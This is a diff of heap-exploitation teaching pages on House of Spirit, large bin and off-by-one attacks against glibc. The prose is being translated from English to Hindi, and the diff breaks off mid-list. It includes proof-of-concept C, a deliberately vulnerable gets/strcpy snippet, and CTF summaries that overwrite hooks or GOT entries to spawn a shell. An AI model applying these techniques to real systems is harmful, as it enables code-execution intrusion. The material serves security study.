यहां **12 बिट की यादृच्छिकता को ब्रूटफोर्स करने की आवश्यकता है** (अधिक जानकारी के लिए [how2heap](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)[ उदाहरण](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c) में)।
|
||||
|
||||
Finally, one the correct address is overwritten, **call `malloc` and trigger the `one_gadget`**.
|
||||
अंत में, एक बार सही पता ओवरराइट हो जाने पर, **`malloc` कॉल करें और `one_gadget` को ट्रिगर करें।**
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://github.com/shellphish/how2heap](https://github.com/shellphish/how2heap)
|
||||
- [https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c](https://github.com/shellphish/how2heap/blob/master/glibc_2.23/house_of_roman.c)
|
||||
|
||||
@ -9,7 +9,6 @@
|
||||
<details>
|
||||
|
||||
<summary>House of Spirit</summary>
|
||||
|
||||
```c
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
@ -19,97 +18,94 @@
|
||||
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
|
||||
|
||||
struct fast_chunk {
|
||||
size_t prev_size;
|
||||
size_t size;
|
||||
struct fast_chunk *fd;
|
||||
struct fast_chunk *bk;
|
||||
char buf[0x20]; // chunk falls in fastbin size range
|
||||
size_t prev_size;
|
||||
size_t size;
|
||||
struct fast_chunk *fd;
|
||||
struct fast_chunk *bk;
|
||||
char buf[0x20]; // chunk falls in fastbin size range
|
||||
};
|
||||
|
||||
int main() {
|
||||
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
|
||||
void *ptr, *victim;
|
||||
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
|
||||
void *ptr, *victim;
|
||||
|
||||
ptr = malloc(0x30);
|
||||
ptr = malloc(0x30);
|
||||
|
||||
printf("Original alloc address: %p\n", ptr);
|
||||
printf("Main fake chunk:%p\n", &fake_chunks[0]);
|
||||
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
|
||||
printf("Original alloc address: %p\n", ptr);
|
||||
printf("Main fake chunk:%p\n", &fake_chunks[0]);
|
||||
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
|
||||
|
||||
// Passes size check of "free(): invalid size"
|
||||
fake_chunks[0].size = sizeof(struct fast_chunk);
|
||||
// Passes size check of "free(): invalid size"
|
||||
fake_chunks[0].size = sizeof(struct fast_chunk);
|
||||
|
||||
// Passes "free(): invalid next size (fast)"
|
||||
fake_chunks[1].size = sizeof(struct fast_chunk);
|
||||
// Passes "free(): invalid next size (fast)"
|
||||
fake_chunks[1].size = sizeof(struct fast_chunk);
|
||||
|
||||
// Attacker overwrites a pointer that is about to be 'freed'
|
||||
// Point to .fd as it's the start of the content of the chunk
|
||||
ptr = (void *)&fake_chunks[0].fd;
|
||||
// Attacker overwrites a pointer that is about to be 'freed'
|
||||
// Point to .fd as it's the start of the content of the chunk
|
||||
ptr = (void *)&fake_chunks[0].fd;
|
||||
|
||||
free(ptr);
|
||||
free(ptr);
|
||||
|
||||
victim = malloc(0x30);
|
||||
printf("Victim: %p\n", victim);
|
||||
victim = malloc(0x30);
|
||||
printf("Victim: %p\n", victim);
|
||||
|
||||
return 0;
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
### Goal
|
||||
### लक्ष्य
|
||||
|
||||
- Be able to add into the tcache / fast bin an address so later it's possible to allocate it
|
||||
- tcache / fast bin में एक पता जोड़ने में सक्षम होना ताकि बाद में इसे आवंटित किया जा सके
|
||||
|
||||
### Requirements
|
||||
### आवश्यकताएँ
|
||||
|
||||
- This attack requires an attacker to be able to create a couple of fake fast chunks indicating correctly the size value of it and then to be able to free the first fake chunk so it gets into the bin.
|
||||
- इस हमले के लिए एक हमलावर को कुछ नकली तेज टुकड़े बनाने में सक्षम होना चाहिए जो इसके आकार के मान को सही ढंग से इंगित करते हैं और फिर पहले नकली टुकड़े को मुक्त करने में सक्षम होना चाहिए ताकि यह बिन में जा सके।
|
||||
|
||||
### Attack
|
||||
### हमला
|
||||
|
||||
- Create fake chunks that bypasses security checks: you will need 2 fake chunks basically indicating in the correct positions the correct sizes
|
||||
- Somehow manage to free the first fake chunk so it gets into the fast or tcache bin and then it's allocate it to overwrite that address
|
||||
|
||||
**The code from** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **is great to understand the attack.** Although this schema from the code summarises it pretty good:
|
||||
- नकली टुकड़े बनाएं जो सुरक्षा जांचों को बायपास करते हैं: आपको मूल रूप से 2 नकली टुकड़े बनाने की आवश्यकता होगी जो सही स्थानों पर सही आकार को इंगित करते हैं
|
||||
- किसी तरह पहले नकली टुकड़े को मुक्त करने का प्रबंधन करें ताकि यह तेज या tcache बिन में जा सके और फिर इसे उस पते को ओवरराइट करने के लिए आवंटित किया जा सके
|
||||
|
||||
**कोड** [**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) **से हमले को समझने के लिए बहुत अच्छा है।** हालांकि, कोड से यह स्कीमा इसे काफी अच्छी तरह से संक्षेपित करता है:
|
||||
```c
|
||||
/*
|
||||
this will be the structure of our two fake chunks:
|
||||
assuming that you compiled it for x64
|
||||
this will be the structure of our two fake chunks:
|
||||
assuming that you compiled it for x64
|
||||
|
||||
+-------+---------------------+------+
|
||||
| 0x00: | Chunk # 0 prev size | 0x00 |
|
||||
+-------+---------------------+------+
|
||||
| 0x08: | Chunk # 0 size | 0x60 |
|
||||
+-------+---------------------+------+
|
||||
| 0x10: | Chunk # 0 content | 0x00 |
|
||||
+-------+---------------------+------+
|
||||
| 0x60: | Chunk # 1 prev size | 0x00 |
|
||||
+-------+---------------------+------+
|
||||
| 0x68: | Chunk # 1 size | 0x40 |
|
||||
+-------+---------------------+------+
|
||||
| 0x70: | Chunk # 1 content | 0x00 |
|
||||
+-------+---------------------+------+
|
||||
+-------+---------------------+------+
|
||||
| 0x00: | Chunk # 0 prev size | 0x00 |
|
||||
+-------+---------------------+------+
|
||||
| 0x08: | Chunk # 0 size | 0x60 |
|
||||
+-------+---------------------+------+
|
||||
| 0x10: | Chunk # 0 content | 0x00 |
|
||||
+-------+---------------------+------+
|
||||
| 0x60: | Chunk # 1 prev size | 0x00 |
|
||||
+-------+---------------------+------+
|
||||
| 0x68: | Chunk # 1 size | 0x40 |
|
||||
+-------+---------------------+------+
|
||||
| 0x70: | Chunk # 1 content | 0x00 |
|
||||
+-------+---------------------+------+
|
||||
|
||||
for what we are doing the prev size values don't matter too much
|
||||
the important thing is the size values of the heap headers for our fake chunks
|
||||
for what we are doing the prev size values don't matter too much
|
||||
the important thing is the size values of the heap headers for our fake chunks
|
||||
*/
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> Note that it's necessary to create the second chunk in order to bypass some sanity checks.
|
||||
> ध्यान दें कि कुछ सैनीटी चेक्स को बायपास करने के लिए दूसरे चंक का निर्माण करना आवश्यक है।
|
||||
|
||||
## Examples
|
||||
|
||||
- **CTF** [**https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html**](https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html)
|
||||
|
||||
- **Libc infoleak**: Via an overflow it's possible to change a pointer to point to a GOT address in order to leak a libc address via the read action of the CTF
|
||||
- **House of Spirit**: Abusing a counter that counts the number of "rifles" it's possible to generate a fake size of the first fake chunk, then abusing a "message" it's possible to fake the second size of a chunk and finally abusing an overflow it's possible to change a pointer that is going to be freed so our first fake chunk is freed. Then, we can allocate it and inside of it there is going to be the address to where "message" is stored. Then, it's possible to make this point to the `scanf` entry inside the GOT table, so we can overwrite it with the address to system.\
|
||||
Next time `scanf` is called, we can send the input `"/bin/sh"` and get a shell.
|
||||
- **Libc infoleak**: एक ओवरफ्लो के माध्यम से, एक पॉइंटर को GOT पते की ओर इंगित करने के लिए बदलना संभव है ताकि CTF के पढ़ने के क्रिया के माध्यम से libc पते को लीक किया जा सके।
|
||||
- **House of Spirit**: "राइफल्स" की संख्या को गिनने वाले काउंटर का दुरुपयोग करते हुए, पहले फेक चंक का एक फेक आकार उत्पन्न करना संभव है, फिर "संदेश" का दुरुपयोग करते हुए, एक चंक के दूसरे आकार को फेक करना संभव है और अंततः एक ओवरफ्लो का दुरुपयोग करते हुए, एक पॉइंटर को बदलना संभव है जो मुक्त होने वाला है ताकि हमारा पहला फेक चंक मुक्त हो जाए। फिर, हम इसे आवंटित कर सकते हैं और इसके अंदर "संदेश" संग्रहीत होने का पता होगा। फिर, इसे GOT तालिका के `scanf` प्रविष्टि की ओर इंगित करना संभव है, ताकि हम इसे सिस्टम के पते के साथ ओवरराइट कर सकें।\
|
||||
अगली बार जब `scanf` को कॉल किया जाता है, हम इनपुट `"/bin/sh"` भेज सकते हैं और एक शेल प्राप्त कर सकते हैं।
|
||||
|
||||
- [**Gloater. HTB Cyber Apocalypse CTF 2024**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/gloater/)
|
||||
- **Glibc leak**: Uninitialized stack buffer.
|
||||
- **House of Spirit**: We can modify the first index of a global array of heap pointers. With a single byte modification, we use `free` on a fake chunk inside a valid chunk, so that we get an overlapping chunks situation after allocating again. With that, a simple Tcache poisoning attack works to get an arbitrary write primitive.
|
||||
- **Glibc leak**: अनइनीशियलाइज्ड स्टैक बफर।
|
||||
- **House of Spirit**: हम हीप पॉइंटर्स के एक वैश्विक एरे के पहले इंडेक्स को संशोधित कर सकते हैं। एक ही बाइट संशोधन के साथ, हम एक वैध चंक के अंदर एक फेक चंक पर `free` का उपयोग करते हैं, ताकि हम फिर से आवंटित करने के बाद ओवरलैपिंग चंक्स की स्थिति प्राप्त कर सकें। इसके साथ, एक साधारण Tcache पॉइज़निंग हमला काम करता है ताकि एक मनमाना लिखने की प्राइमिटिव प्राप्त की जा सके।
|
||||
|
||||
## References
|
||||
|
||||
|
||||
@ -4,55 +4,53 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
For more information about what is a large bin check this page:
|
||||
एक बड़े बिन के बारे में अधिक जानकारी के लिए इस पृष्ठ को देखें:
|
||||
|
||||
{{#ref}}
|
||||
bins-and-memory-allocations.md
|
||||
{{#endref}}
|
||||
|
||||
It's possible to find a great example in [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
|
||||
आप [**how2heap - large bin attack**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c) में एक शानदार उदाहरण देख सकते हैं।
|
||||
|
||||
Basically here you can see how, in the latest "current" version of glibc (2.35), it's not checked: **`P->bk_nextsize`** allowing to modify an arbitrary address with the value of a large bin chunk if certain conditions are met.
|
||||
बुनियादी रूप से, यहाँ आप देख सकते हैं कि glibc (2.35) के नवीनतम "वर्तमान" संस्करण में, यह जांचा नहीं जाता है: **`P->bk_nextsize`** जिससे एक बड़े बिन चंक के मान के साथ एक मनमाना पते को संशोधित करना संभव है यदि कुछ शर्तें पूरी होती हैं।
|
||||
|
||||
In that example you can find the following conditions:
|
||||
उस उदाहरण में आप निम्नलिखित शर्तें पा सकते हैं:
|
||||
|
||||
- A large chunk is allocated
|
||||
- A large chunk smaller than the first one but in the same index is allocated
|
||||
- Must be smalled so in the bin it must go first
|
||||
- (A chunk to prevent merging with the top chunk is created)
|
||||
- Then, the first large chunk is freed and a new chunk bigger than it is allocated -> Chunk1 goes to the large bin
|
||||
- Then, the second large chunk is freed
|
||||
- Now, the vulnerability: The attacker can modify `chunk1->bk_nextsize` to `[target-0x20]`
|
||||
- Then, a larger chunk than chunk 2 is allocated, so chunk2 is inserted in the large bin overwriting the address `chunk1->bk_nextsize->fd_nextsize` with the address of chunk2
|
||||
- एक बड़ा चंक आवंटित किया गया है
|
||||
- पहले से छोटे एक बड़े चंक को उसी इंडेक्स में आवंटित किया गया है
|
||||
- इसे बिन में पहले आना चाहिए
|
||||
- (एक चंक शीर्ष चंक के साथ विलय को रोकने के लिए बनाया गया है)
|
||||
- फिर, पहले बड़े चंक को मुक्त किया जाता है और इससे बड़ा एक नया चंक आवंटित किया जाता है -> Chunk1 बड़े बिन में जाता है
|
||||
- फिर, दूसरे बड़े चंक को मुक्त किया जाता है
|
||||
- अब, भेद्यता: हमलावर `chunk1->bk_nextsize` को `[target-0x20]` में संशोधित कर सकता है
|
||||
- फिर, चंक 2 से बड़ा एक चंक आवंटित किया जाता है, इसलिए चंक2 बड़े बिन में डाला जाता है जो `chunk1->bk_nextsize->fd_nextsize` के पते को चंक2 के पते से ओवरराइट करता है
|
||||
|
||||
> [!TIP]
|
||||
> There are other potential scenarios, the thing is to add to the large bin a chunk that is **smaller** than a current X chunk in the bin, so it need to be inserted just before it in the bin, and we need to be able to modify X's **`bk_nextsize`** as thats where the address of the smaller chunk will be written to.
|
||||
|
||||
This is the relevant code from malloc. Comments have been added to understand better how the address was overwritten:
|
||||
> अन्य संभावित परिदृश्य हैं, बात यह है कि बड़े बिन में एक चंक जोड़ना है जो बिन में वर्तमान X चंक से **छोटा** है, इसलिए इसे बिन में इसके ठीक पहले डाला जाना चाहिए, और हमें X के **`bk_nextsize`** को संशोधित करने में सक्षम होना चाहिए क्योंकि वहीं छोटे चंक का पता लिखा जाएगा।
|
||||
|
||||
यह malloc से संबंधित कोड है। समझने के लिए टिप्पणियाँ जोड़ी गई हैं कि पता कैसे ओवरराइट किया गया:
|
||||
```c
|
||||
/* if smaller than smallest, bypass loop below */
|
||||
assert (chunk_main_arena (bck->bk));
|
||||
if ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk))
|
||||
{
|
||||
fwd = bck; // fwd = p1
|
||||
bck = bck->bk; // bck = p1->bk
|
||||
{
|
||||
fwd = bck; // fwd = p1
|
||||
bck = bck->bk; // bck = p1->bk
|
||||
|
||||
victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
|
||||
victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
|
||||
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
|
||||
}
|
||||
victim->fd_nextsize = fwd->fd; // p2->fd_nextsize = p1->fd (Note that p1->fd is p1 as it's the only chunk)
|
||||
victim->bk_nextsize = fwd->fd->bk_nextsize; // p2->bk_nextsize = p1->fd->bk_nextsize
|
||||
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // p1->fd->bk_nextsize->fd_nextsize = p2
|
||||
}
|
||||
```
|
||||
यह **libc के `global_max_fast` वैश्विक चर** को ओवरराइट करने के लिए उपयोग किया जा सकता है ताकि बड़े टुकड़ों के साथ एक तेज़ बिन हमले का शोषण किया जा सके।
|
||||
|
||||
This could be used to **overwrite the `global_max_fast` global variable** of libc to then exploit a fast bin attack with larger chunks.
|
||||
आप इस हमले का एक और शानदार विवरण [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html) में पा सकते हैं।
|
||||
|
||||
You can find another great explanation of this attack in [**guyinatuxedo**](https://guyinatuxedo.github.io/32-largebin_attack/largebin_explanation0/index.html).
|
||||
|
||||
### Other examples
|
||||
### अन्य उदाहरण
|
||||
|
||||
- [**La casa de papel. HackOn CTF 2024**](https://7rocky.github.io/en/ctf/other/hackon-ctf/la-casa-de-papel/)
|
||||
- Large bin attack in the same situation as it appears in [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c).
|
||||
- The write primitive is more complex, because `global_max_fast` is useless here.
|
||||
- FSOP is needed to finish the exploit.
|
||||
- उसी स्थिति में बड़े बिन हमले के बारे में [**how2heap**](https://github.com/shellphish/how2heap/blob/master/glibc_2.35/large_bin_attack.c) में।
|
||||
- लिखने की प्राइमिटिव अधिक जटिल है, क्योंकि `global_max_fast` यहाँ बेकार है।
|
||||
- शोषण को समाप्त करने के लिए FSOP की आवश्यकता है।
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,112 +4,110 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Having just access to a 1B overflow allows an attacker to modify the `size` field from the next chunk. This allows to tamper which chunks are actually freed, potentially generating a chunk that contains another legit chunk. The exploitation is similar to [double free](double-free.md) or overlapping chunks.
|
||||
केवल 1B ओवरफ्लो तक पहुंच होने से एक हमलावर को अगले चंक के `size` फ़ील्ड को संशोधित करने की अनुमति मिलती है। यह यह तय करने की अनुमति देता है कि वास्तव में कौन से चंक मुक्त हैं, संभावित रूप से एक चंक उत्पन्न करना जो एक अन्य वैध चंक को शामिल करता है। शोषण [double free](double-free.md) या ओवरलैपिंग चंक्स के समान है।
|
||||
|
||||
There are 2 types of off by one vulnerabilities:
|
||||
ऑफ बाय वन कमजोरियों के 2 प्रकार हैं:
|
||||
|
||||
- Arbitrary byte: This kind allows to overwrite that byte with any value
|
||||
- Null byte (off-by-null): This kind allows to overwrite that byte only with 0x00
|
||||
- A common example of this vulnerability can be seen in the following code where the behavior of `strlen` and `strcpy` is inconsistent, which allows set a 0x00 byte in the beginning of the next chunk.
|
||||
- This can be expoited with the [House of Einherjar](house-of-einherjar.md).
|
||||
- If using Tcache, this can be leveraged to a [double free](double-free.md) situation.
|
||||
- मनमाना बाइट: यह प्रकार किसी भी मान के साथ उस बाइट को ओवरराइट करने की अनुमति देता है
|
||||
- नल बाइट (ऑफ-बाय-नल): यह प्रकार उस बाइट को केवल 0x00 के साथ ओवरराइट करने की अनुमति देता है
|
||||
- इस कमजोरी का एक सामान्य उदाहरण निम्नलिखित कोड में देखा जा सकता है जहां `strlen` और `strcpy` का व्यवहार असंगत है, जो अगले चंक की शुरुआत में 0x00 बाइट सेट करने की अनुमति देता है।
|
||||
- इसे [House of Einherjar](house-of-einherjar.md) के साथ शोषित किया जा सकता है।
|
||||
- यदि Tcache का उपयोग किया जा रहा है, तो इसे [double free](double-free.md) स्थिति में लाभ उठाया जा सकता है।
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Off-by-null</summary>
|
||||
|
||||
```c
|
||||
// From https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/
|
||||
int main(void)
|
||||
{
|
||||
char buffer[40]="";
|
||||
void *chunk1;
|
||||
chunk1 = malloc(24);
|
||||
puts("Get Input");
|
||||
gets(buffer);
|
||||
if(strlen(buffer)==24)
|
||||
{
|
||||
strcpy(chunk1,buffer);
|
||||
}
|
||||
return 0;
|
||||
char buffer[40]="";
|
||||
void *chunk1;
|
||||
chunk1 = malloc(24);
|
||||
puts("Get Input");
|
||||
gets(buffer);
|
||||
if(strlen(buffer)==24)
|
||||
{
|
||||
strcpy(chunk1,buffer);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
Among other checks, now whenever a chunk is free the previous size is compared with the size configured in the metadata's chunk, making this attack fairly complex from version 2.28.
|
||||
अन्य जांचों के बीच, अब जब भी एक चंक मुक्त होता है, तो पिछले आकार की तुलना मेटाडेटा के चंक में कॉन्फ़िगर किए गए आकार से की जाती है, जिससे यह हमला संस्करण 2.28 से काफी जटिल हो जाता है।
|
||||
|
||||
### Code example:
|
||||
### कोड उदाहरण:
|
||||
|
||||
- [https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c](https://github.com/DhavalKapil/heap-exploitation/blob/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/shrinking_free_chunks.c)
|
||||
- This attack is no longer working due to the use of Tcaches.
|
||||
- Moreover, if you try to abuse it using larger chunks (so tcaches aren't involved), you will get the error: `malloc(): invalid next size (unsorted)`
|
||||
- यह हमला Tcaches के उपयोग के कारण अब काम नहीं कर रहा है।
|
||||
- इसके अलावा, यदि आप इसे बड़े चंक्स का उपयोग करके दुरुपयोग करने की कोशिश करते हैं (ताकि tcaches शामिल न हों), तो आपको त्रुटि मिलेगी: `malloc(): invalid next size (unsorted)`
|
||||
|
||||
### Goal
|
||||
### लक्ष्य
|
||||
|
||||
- Make a chunk be contained inside another chunk so writing access over that second chunk allows to overwrite the contained one
|
||||
- एक चंक को दूसरे चंक के अंदर रखना ताकि उस दूसरे चंक पर लेखन पहुंच उसे ओवरराइट करने की अनुमति दे।
|
||||
|
||||
### Requirements
|
||||
### आवश्यकताएँ
|
||||
|
||||
- Off by one overflow to modify the size metadata information
|
||||
- आकार मेटाडेटा जानकारी को संशोधित करने के लिए ऑफ बाय वन ओवरफ्लो।
|
||||
|
||||
### General off-by-one attack
|
||||
### सामान्य ऑफ-बाय-वन हमला
|
||||
|
||||
- Allocate three chunks `A`, `B` and `C` (say sizes 0x20), and another one to prevent consolidation with the top-chunk.
|
||||
- Free `C` (inserted into 0x20 Tcache free-list).
|
||||
- Use chunk `A` to overflow on `B`. Abuse off-by-one to modify the `size` field of `B` from 0x21 to 0x41.
|
||||
- Now we have `B` containing the free chunk `C`
|
||||
- Free `B` and allocate a 0x40 chunk (it will be placed here again)
|
||||
- We can modify the `fd` pointer from `C`, which is still free (Tcache poisoning)
|
||||
- तीन चंक्स `A`, `B` और `C` (मान लें आकार 0x20) आवंटित करें, और एक और एक को शीर्ष-चंक के साथ समेकन से रोकने के लिए।
|
||||
- `C` को मुक्त करें (0x20 Tcache मुक्त-सूची में डाला गया)।
|
||||
- चंक `A` का उपयोग करके `B` पर ओवरफ्लो करें। `B` के `size` फ़ील्ड को 0x21 से 0x41 में संशोधित करने के लिए ऑफ-बाय-वन का दुरुपयोग करें।
|
||||
- अब हमारे पास `B` में मुक्त चंक `C` है।
|
||||
- `B` को मुक्त करें और एक 0x40 चंक आवंटित करें (यह फिर से यहाँ रखा जाएगा)।
|
||||
- हम `C` से `fd` पॉइंटर को संशोधित कर सकते हैं, जो अभी भी मुक्त है (Tcache विषाक्तता)।
|
||||
|
||||
### Off-by-null attack
|
||||
### ऑफ-बाय-नल हमला
|
||||
|
||||
- 3 chunks of memory (a, b, c) are reserved one after the other. Then the middle one is freed. The first one contains an off by one overflow vulnerability and the attacker abuses it with a 0x00 (if the previous byte was 0x10 it would make he middle chunk indicate that it’s 0x10 smaller than it really is).
|
||||
- Then, 2 more smaller chunks are allocated in the middle freed chunk (b), however, as `b + b->size` never updates the c chunk because the pointed address is smaller than it should.
|
||||
- Then, b1 and c gets freed. As `c - c->prev_size` still points to b (b1 now), both are consolidated in one chunk. However, b2 is still inside in between b1 and c.
|
||||
- Finally, a new malloc is performed reclaiming this memory area which is actually going to contain b2, allowing the owner of the new malloc to control the content of b2.
|
||||
- 3 मेमोरी चंक्स (a, b, c) एक के बाद एक आरक्षित किए जाते हैं। फिर मध्य वाला मुक्त किया जाता है। पहला एक ऑफ बाय वन ओवरफ्लो भेद्यता रखता है और हमलावर इसका दुरुपयोग 0x00 के साथ करता है (यदि पिछले बाइट 0x10 था तो यह मध्य चंक को यह संकेत देगा कि यह वास्तव में 0x10 छोटा है)।
|
||||
- फिर, मध्य मुक्त चंक (b) में 2 और छोटे चंक्स आवंटित किए जाते हैं, हालाँकि, चूंकि `b + b->size` कभी भी c चंक को अपडेट नहीं करता है क्योंकि पॉइंटेड पता जितना होना चाहिए उससे छोटा है।
|
||||
- फिर, b1 और c को मुक्त किया जाता है। चूंकि `c - c->prev_size` अभी भी b (अब b1) की ओर इशारा करता है, दोनों एक चंक में समेकित होते हैं। हालाँकि, b2 अभी भी b1 और c के बीच में है।
|
||||
- अंततः, एक नया malloc किया जाता है जो इस मेमोरी क्षेत्र को पुनः प्राप्त करता है जो वास्तव में b2 को समाहित करने जा रहा है, जिससे नए malloc के मालिक को b2 की सामग्री को नियंत्रित करने की अनुमति मिलती है।
|
||||
|
||||
This image explains perfectly the attack:
|
||||
यह चित्र हमले को पूरी तरह से समझाता है:
|
||||
|
||||
<figure><img src="../../images/image (1247).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks">https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks</a></p></figcaption></figure>
|
||||
|
||||
## Other Examples & References
|
||||
## अन्य उदाहरण और संदर्भ
|
||||
|
||||
- [**https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks**](https://heap-exploitation.dhavalkapil.com/attacks/shrinking_free_chunks)
|
||||
- [**Bon-nie-appetit. HTB Cyber Apocalypse CTF 2022**](https://7rocky.github.io/en/ctf/htb-challenges/pwn/bon-nie-appetit/)
|
||||
- Off-by-one because of `strlen` considering the next chunk's `size` field.
|
||||
- Tcache is being used, so a general off-by-one attacks works to get an arbitrary write primitive with Tcache poisoning.
|
||||
- `strlen` के कारण ऑफ-बाय-वन।
|
||||
- Tcache का उपयोग किया जा रहा है, इसलिए एक सामान्य ऑफ-बाय-वन हमले का उपयोग Tcache विषाक्तता के साथ एक मनमाना लिखने की प्राइमिटिव प्राप्त करने के लिए किया जाता है।
|
||||
- [**Asis CTF 2016 b00ks**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#1-asis-ctf-2016-b00ks)
|
||||
- It's possible to abuse an off by one to leak an address from the heap because the byte 0x00 of the end of a string being overwritten by the next field.
|
||||
- Arbitrary write is obtained by abusing the off by one write to make the pointer point to another place were a fake struct with fake pointers will be built. Then, it's possible to follow the pointer of this struct to obtain arbitrary write.
|
||||
- The libc address is leaked because if the heap is extended using mmap, the memory allocated by mmap has a fixed offset from libc.
|
||||
- Finally the arbitrary write is abused to write into the address of \_\_free_hook with a one gadget.
|
||||
- एक ऑफ बाय वन का दुरुपयोग करके हीप से एक पता लीक करना संभव है क्योंकि एक स्ट्रिंग के अंत का बाइट 0x00 अगले फ़ील्ड द्वारा ओवरराइट किया जा रहा है।
|
||||
- मनमाना लिखने को प्राप्त करने के लिए ऑफ बाय वन लिखने का दुरुपयोग किया जाता है ताकि पॉइंटर को एक और स्थान पर इंगित किया जा सके जहाँ एक नकली संरचना के साथ नकली पॉइंटर्स बनाए जाएंगे। फिर, इस संरचना के पॉइंटर का पालन करके मनमाना लिखना संभव है।
|
||||
- libc पता लीक होता है क्योंकि यदि हीप को mmap का उपयोग करके बढ़ाया जाता है, तो mmap द्वारा आवंटित मेमोरी libc से एक निश्चित ऑफसेट रखती है।
|
||||
- अंततः मनमाना लिखने का दुरुपयोग किया जाता है ताकि \_\_free_hook के पते पर एक गेजेट लिखा जा सके।
|
||||
- [**plaidctf 2015 plaiddb**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/off_by_one/#instance-2-plaidctf-2015-plaiddb)
|
||||
- There is a NULL off by one vulnerability in the `getline` function that reads user input lines. This function is used to read the "key" of the content and not the content.
|
||||
- In the writeup 5 initial chunks are created:
|
||||
- chunk1 (0x200)
|
||||
- chunk2 (0x50)
|
||||
- chunk5 (0x68)
|
||||
- chunk3 (0x1f8)
|
||||
- chunk4 (0xf0)
|
||||
- chunk defense (0x400) to avoid consolidating with top chunk
|
||||
- Then chunk 1, 5 and 3 are freed, so:
|
||||
- ```python
|
||||
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
|
||||
```
|
||||
- Then abusing chunk3 (0x1f8) the null off-by-one is abused writing the prev_size to `0x4e0`.
|
||||
- Note how the sizes of the initially allocated chunks1, 2, 5 and 3 plus the headers of 4 of those chunks equals to `0x4e0`: `hex(0x1f8 + 0x10 + 0x68 + 0x10 + 0x50 + 0x10 + 0x200) = 0x4e0`
|
||||
- Then, chunk 4 is freed, generating a chunk that consumes all the chunks till the beginning:
|
||||
- ```python
|
||||
[ 0x4e0 Chunk 1-2-5-3 (free) ] [ 0xf0 Chunk 4 (corrupted) ] [ 0x400 Chunk defense ]
|
||||
```
|
||||
- ```python
|
||||
[ 0x200 Chunk 1 (free) ] [ 0x50 Chunk 2 ] [ 0x68 Chunk 5 (free) ] [ 0x1f8 Chunk 3 (free) ] [ 0xf0 Chunk 4 ] [ 0x400 Chunk defense ]
|
||||
```
|
||||
- Then, `0x200` bytes are allocated filling the original chunk 1
|
||||
- And another 0x200 bytes are allocated and chunk2 is destroyed and therefore there isn't no fucking leak and this doesn't work? Maybe this shouldn't be done
|
||||
- Then, it allocates another chunk with 0x58 "a"s (overwriting chunk2 and reaching chunk5) and modifies the `fd` of the fast bin chunk of chunk5 pointing it to `__malloc_hook`
|
||||
- Then, a chunk of 0x68 is allocated so the fake fast bin chunk in `__malloc_hook` is the following fast bin chunk
|
||||
- Finally, a new fast bin chunk of 0x68 is allocated and `__malloc_hook` is overwritten with a `one_gadget` address
|
||||
- `getline` फ़ंक्शन में एक NULL ऑफ बाय वन भेद्यता है जो उपयोगकर्ता इनपुट पंक्तियों को पढ़ता है। यह फ़ंक्शन सामग्री की "कुंजी" पढ़ने के लिए उपयोग किया जाता है और सामग्री नहीं।
|
||||
- लेखन में 5 प्रारंभिक चंक्स बनाए जाते हैं:
|
||||
- chunk1 (0x200)
|
||||
- chunk2 (0x50)
|
||||
- chunk5 (0x68)
|
||||
- chunk3 (0x1f8)
|
||||
- chunk4 (0xf0)
|
||||
- शीर्ष चंक के साथ समेकन से बचने के लिए चंक रक्षा (0x400)
|
||||
- फिर चंक 1, 5 और 3 को मुक्त किया जाता है, इसलिए:
|
||||
- ```python
|
||||
